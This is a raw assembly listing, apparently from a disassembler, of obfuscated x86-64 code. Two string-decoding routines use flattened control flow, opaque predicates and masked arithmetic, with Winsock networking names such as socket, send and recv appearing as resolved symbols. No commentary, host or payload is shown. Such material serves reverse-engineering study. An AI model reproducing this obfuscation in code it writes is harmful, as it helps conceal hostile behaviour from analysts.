call fcn.140002660
mov rdx, rax
mov rcx, qword [0x14023cdc0]
call fcn.1400697f0
mov rcx, rax
call fcn.14006abf0
mov rdi, rax
mov byte [rbp + 0xac0], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xac1], 0xff
mov byte [rbp + 0xac2], recv
mov byte [rbp + 0xac3], 0xf5
mov byte [rbp + 0xac4], 0xfc
mov byte [rbp + 0xac5], 0xf4
mov byte [rbp + 0xac6], 0x46
mov byte [rbp + 0xac7], Ordinal_41
mov byte [rbp + 0xac8], 0xfd
mov byte [rbp + 0xac9], 0xf0
mov byte [rbp + 0xaca], 0xfc
mov byte [rbp + 0xacb], 0xf0
mov byte [rbp + 0xacc], 0xec
mov byte [rbp + 0xacd], 0x61
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xace], xmm0
mov dword [rbp + 0xade], eax
mov byte [rbp + 0xae2], al
movabs rsi, 0x9d6b695e9563c15a
movabs r13, 0x1fe08b1ce28ad872
movabs r14, 0x4eeb88af016385e6
movabs r12, 0xf2a72753c4dd502
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140076d39
movzx r11d, byte [rbp + rbx + 0xac0]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140076d30
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140075f7c
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x1e
jmp 0x140075fb0
je 0x140076ca6
lea rax, [r9 + 2]
cmp r8, rax
je 0x140076c05
lea rax, [r9 + 3]
cmp r8, rax
je 0x140076bd2
lea rax, [r9 + 7]
cmp r8, rax
je 0x140076ba0
nop dword [rax]
cmp r9, rbx
ja 0x140076d27
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x140075fda
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x76
jmp 0x140076030
lea rax, [r9 + 1]
cmp r8, rax
je 0x140076b4a
inc rax
cmp r8, rax
je 0x140076b20
lea rax, [r9 + 5]
cmp r8, rax
je 0x140076ae4
lea rax, [r9 + 3]
cmp r8, rax
je 0x140076ac0
lea rax, [r9 + 4]
cmp r8, rax
je 0x140076a9c
lea rax, [r9 + 2]
cmp r8, rax
je 0x140076a62
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14007664b
nop dword [rax]
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140076637
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14007660a
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400765e0
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400765bd
lea rcx, [r9 + 4]
cmp r8, rcx
je 0x1400765a9
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140076575
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140076551
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140076528
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400764ee
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140076040
mov r8, rcx
lea r9, [rcx + 0x400]
lea rax, [r9 + 0x2a]
cmp rcx, rax
jb 0x140076d03
lea rax, [r9 + 0x28]
cmp rcx, rax
jb 0x140076cda
lea rax, [r9 + 0x5a]
cmp rcx, rax
jb 0x140076228
lea rax, [r9 + 0x20]
cmp rcx, rax
jb 0x14007620d
lea rcx, [r9 + 8]
cmp r8, rcx
jb 0x1400761f2
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140076489
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140076431
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400763dd
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400763ae
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140076040
mov r8, rcx
lea r9, [rcx + 0x40]
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x140076374
lea rax, [r9 + 0x64]
cmp rcx, rax
ja 0x140076350
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x14007632c
lea rax, [r9 + 0x42]
cmp rcx, rax
ja 0x1400762f3
lea rax, [r9 + 1]
cmp rcx, rax
ja 0x1400762df
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x1400762bc
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x140076292
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x140076265
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x140076251
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x140076040
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x80]
jmp 0x140076040
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4a
jmp 0x140076030
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xe
jmp 0x140075fb0
movabs rdx, 0xcf695c3b7738241e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140075f45
movabs rdx, 0xeb5b4af4ab1e0ad0
mov ecx, Ordinal_41
jmp 0x140076b59
movabs rcx, 0xab9a34bae60859ec
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x74
inc r9
dec rbx
inc rbx
jmp 0x140075f32
movabs rcx, 0x6bd91e8120f2a908
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
dec rbx
inc rbx
jmp 0x140075f32
movabs rdx, 0x2c1808475bdcf824
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x1400769ef
movabs rdx, 0xec56f20d96c74740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140076af3
movabs rdx, 0xac95dbd3d1b1965c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075f32
movabs rcx, 0x6cd4c59a0c9be578
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x48
jmp 0x140076c28
movabs rcx, 0x2d13af6047863494
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
jmp 0x140076c5c
movabs rdx, 0xed529926827083b0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xac0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075f32
movabs rcx, 0x4defe19615ba4976
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3a
mov byte [rbp + rbx + 0xac0], r10b
inc rbx
jmp 0x140075f32
movabs rdx, 0xe2ecb5c50a49892
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 1
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r9, 0x64
jb 0x1400763cd
movabs rcx, 0xb3776d8243523d6c
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x140076b6e
movabs rdx, 0xce6db5228b8ee7ae
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r8, 0x28
jae 0x1400769ca
lea rcx, [r9 + 2]
cmp r8, rcx
jbe 0x1400768a1
movabs rdx, 0x35ec8f4090795484
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x1400763f5
movabs rdx, 0x8eac9ee8c67936ca
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
lea rax, [r9 + r8]
cmp rax, 0x3e8
je 0x140076a37
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x14007676f
movabs rcx, 0x988125e1fb15932a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x26
jmp 0x140076455
movabs rdx, 0xb08478378056881c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xac0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075f32
movabs rdx, 0x70c361fdbb40d738
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140076c5c
movabs rcx, 0x31024bc3f62b2654
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4c
jmp 0x140076c28
movabs rcx, 0xf141358a31157570
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075f32
movabs rdx, 0xb1801f506bffc48c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140076af3
movabs rdx, 0x71bf0916a6ea13a8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x1400769ef
movabs rcx, 0x31fdf2dce1d462c4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5c
dec rbx
inc rbx
jmp 0x140075f32
movabs rcx, 0xf23cdca31cbeb1e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
inc r9
dec rbx
inc rbx
jmp 0x140075f32
movabs rdx, 0xb27bc66957a900fc
mov ecx, recv
jmp 0x140076b59
lea rcx, [r9 + 2]
cmp r8, rcx
jae 0x14007666f
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1e
jmp 0x1400764ad
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400766b2
movabs rdx, 0x3ad6d2bd2ac782b4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xac0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075f32
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400766df
movabs rcx, 0xba58ff30b4f2e47c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x64
jmp 0x140076c28
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140076721
movabs rdx, 0xfa1a156a7a089560
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075f32
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007674e
movabs rcx, 0x799c41de0433f728
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
jmp 0x1400769f5
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400764ad
movabs rdx, 0x38df848b537509d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x140076b59
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007679c
movabs rcx, 0xd8423c1bc02b440e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x62
jmp 0x140076b6e
inc rax
cmp r8, rax
jne 0x1400767b8
movabs rdx, 0x180352558540f4f2
mov ecx, Ordinal_50
jmp 0x140076baf
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400767f0
movabs rdx, 0x57c4688f4a56a5d6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140075f32
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007681d
movabs rcx, 0x97857ec90f6c56ba
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x16
jmp 0x1400769f5
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007685f
movabs rdx, 0x1707ab3c9997b882
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075f32
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140076455
movabs rcx, 0xd64aede9e8d8cb2e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x42
movzx eax, byte [rbp + rbx + 0xac0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075f32
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400768e4
movabs rdx, 0x75ada57a558f0568
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xac0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075f32
inc rax
cmp r8, rax
jne 0x140076910
movabs rcx, 0xb56ebbb41aa4b64c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x14
jmp 0x140076c5c
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007693d
movabs rcx, 0xf52fd1eddfba6730
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
jmp 0x140076c28
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14007697f
movabs rdx, 0x34f0e827a4d01814
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075f32
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007699c
movabs rdx, 0x74b1fe6169e5c8f8
mov ecx, Ordinal_30
jmp 0x140076af3
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140076401
movabs rcx, 0xb473149b2efb79dc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
jmp 0x1400769f5
movabs rdx, 0xf33883bc0867ee50
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0xac0]
sub r10b, al
sub r10b, 0x30
add r10b, dl
add r10b, r11b
movabs rcx, 0x13190ed8eaf2c6c2
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x4e
add r11b, cl
add r11b, r10b
mov byte [rbp + rbx + 0xac0], r11b
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075f32
movabs rcx, 0x32f999f5cd7d9f34
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0xac0]
lea r10d, [r11 + rcx]
sub r10b, 0x6c
jmp 0x140076c28
movabs rdx, 0xdb3531668326f95e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xac0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075f32
movabs rcx, 0x9b741b2cbe11487a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x56
jmp 0x140076c5c
movabs rcx, 0x5bb304f2f8fb9796
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1a
jmp 0x140076c28
movabs rdx, 0xdc30d87f6ed035ce
mov ecx, Ordinal_50
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075f32
movabs rcx, 0x5caeac0be4a4d406
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2a
dec rbx
inc rbx
jmp 0x140075f32
movabs rdx, 0xdd2c7f985a79723e
mov ecx, Ordinal_41
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rcx, 0xd357f89f25dd15de
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x12
add cl, r11b
mov byte [rbp + rbx + 0xac0], cl
inc r9
dec rbx
inc rbx
jmp 0x140075f32
movabs rdx, 0x1de93ceb0b385f92
mov ecx, 1
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140075f32
movabs rcx, 0x1ee4e403f6e19c02
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0xe
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075f32
mov r11, rdx
movabs rcx, 0xdf23cdca31cbeb1e
add rcx, rbx
and dl, cl
mov eax, reloc.WS2_32.dll_socket
sub al, dl
lea r10d, [rax + rax]
add r10b, cl
add r10b, r11b
movabs rdx, 0x52da2512b00877a6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xac0], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x72bab02f92935018
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xac0], cl
inc r8
mov rax, r15
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xac0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075f32
movabs rcx, 0x5fa1a156a7a08956
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x5a
movzx eax, byte [rbp + rbx + 0xac0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075f32
movabs rdx, 0x8fa84601b222733a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140075f30
movabs rcx, 0x4fe72fc7ed0cc256
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5a
jmp 0x140075f20
lea rcx, [rbp + 0x1497758]
jmp 0x140076d40
lea rcx, [rbp + 0xd44fca]
jmp 0x140076d40
lea rcx, [rbp + 0xac0]
mov rdx, rdi
call fcn.140035b50
lea rdx, [0x140236d90]
lea rcx, [rbp + 0x460]
call fcn.140002660
mov rdx, rax
mov rcx, qword [0x14023cdc0]
call fcn.1400697f0
mov rcx, rax
call fcn.14006abf0
mov r14, rax
mov byte [rbp + 0xae8], Ordinal_143
mov byte [rbp + 0xae9], 0xec
mov byte [rbp + 0xaea], 0xff
mov byte [rbp + 0xaeb], 0xb3
mov byte [rbp + 0xaec], 0x9c
mov byte [rbp + 0xaed], Ordinal_143
mov byte [rbp + 0xaee], 0x82
mov byte [rbp + 0xaef], 0x5f
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xaf0], xmm0
mov qword [rbp + 0xb00], rax
mov word [rbp + 0xb08], ax
mov byte [rbp + 0xb0a], al
movabs r12, 0xec78139341fa9daf
movabs r13, 0x1f0f5b2234878acb
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor esi, esi
movabs r11, 0xfc61346b04a64ee3
movabs rbx, 0xc4a5542c7520017
movabs rcx, 0x3c05b7ca0f5513b3
cmp rsi, 0x23
jae 0x140077948
movzx edi, byte [rbp + rsi + 0xae8]
mov edx, edi
cmp r8, rsi
ja 0x14007793f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140076e5f
add rcx, rsi
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x1b
jmp 0x140076ea0
je 0x1400778b8
inc rax
cmp r8, rax
je 0x14007784f
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007781c
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400777c3
lea rax, [r9 + 7]
cmp r8, rax
je 0x14007779e
nop dword [rax + rax]
cmp r9, rsi
ja 0x140077936
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x140076eca
lea rcx, [rsi + r12]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
add r10b, 0x37
jmp 0x140076efd
lea rax, [r9 + 1]
cmp r8, rax
je 0x140077746
inc rax
cmp r8, rax
je 0x14007771b
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400776e3
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400776ad
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rsi
jbe 0x1400772dc
nop dword [rax]
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400772b8
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140077289
lea rax, [r9 + 5]
cmp r8, rax
je 0x140077260
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14007722c
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140077203
lea rax, [r9 + 3]
cmp r8, rax
je 0x140076f10
lea r8, [r9 + 0x1000]
lea r9, [r8 + 3]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140077911
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400778ec
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140077017
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140077178
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140077124
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140076f10
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x80]
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400770ea
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400770c1
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14007708d
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140077064
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140077036
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140076f10
lea r8, [r9 + 0x28]
lea r9, [r8 + 4]
jmp 0x140076f10
lea rdx, [rsi + r13]
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
add r10b, 0x73
add r10b, dl
jmp 0x140076ea0
movabs r10, 0xebb52d05f12ac612
add r10, rsi
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
sub r10b, 0x7e
add r10b, dil
inc r9
dec rsi
inc rsi
jmp 0x140076e02
movabs rdx, 0xfb9e4dddb3d67746
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x1400777dd
movabs rcx, 0xb876eb57682287a
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x56
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140076e02
movabs rdx, 0x1b708f8d392dd9ae
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
jmp 0x14007786e
movabs rdx, 0xa3651ff91a83b248
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
movzx eax, byte [rbp + rsi + 0xae8]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140076e02
movabs rcx, 0xff3d1972af302863
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
add cl, 0x4b
add cl, dil
cmp r9, 0x80
jb 0x140077606
movabs rdx, 0xea473a821be5d952
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x7c]
jmp 0x140077769
movabs rcx, 0xf263a4a71dbd997
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x21
add cl, dil
lea rax, [r9 + r8]
cmp rax, 0x64
je 0x140077649
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x1400773f2
movabs rcx, 0x4d5ccb25a745b1a7
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
add cl, 0x6f
add cl, dil
cmp r8, 3
jae 0x140077619
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x140077506
movabs rcx, 0x39d4deb8e9404f56
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x5a
jmp 0x14007713e
movabs rdx, 0x12c505df6d358ab4
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x14007786e
movabs rcx, 0x22ae26b72fe13be8
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x58
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140076e02
movabs rdx, 0x3297478ef28ced1c
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x1400777dd
movabs rdx, 0xba8bd7fad3e2c5b6
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
dec rsi
inc rsi
jmp 0x140076e02
movabs rcx, 0xca74f8d2968e76ea
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x66
jmp 0x140077769
lea rax, [r9 + 2]
cmp r8, rax
jae 0x140077304
movabs rcx, 0x3c05b7ca0f5513b3
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
add cl, 0x1b
jmp 0x140077192
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140077347
movabs rdx, 0xd8f0272683f53b5e
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
movzx eax, byte [rbp + rsi + 0xae8]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140076e02
inc rax
cmp r8, rax
jne 0x140077373
movabs rcx, 0xc907064ec1498a2a
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x26
jmp 0x140077675
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400773b8
movabs rdx, 0xb91de576fe9dd8f6
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140076e02
movzx ecx, r10b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140077195
movabs rdx, 0x3129550b1d48005c
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x1400777dd
lea rax, [r9 + 1]
cmp r8, rax
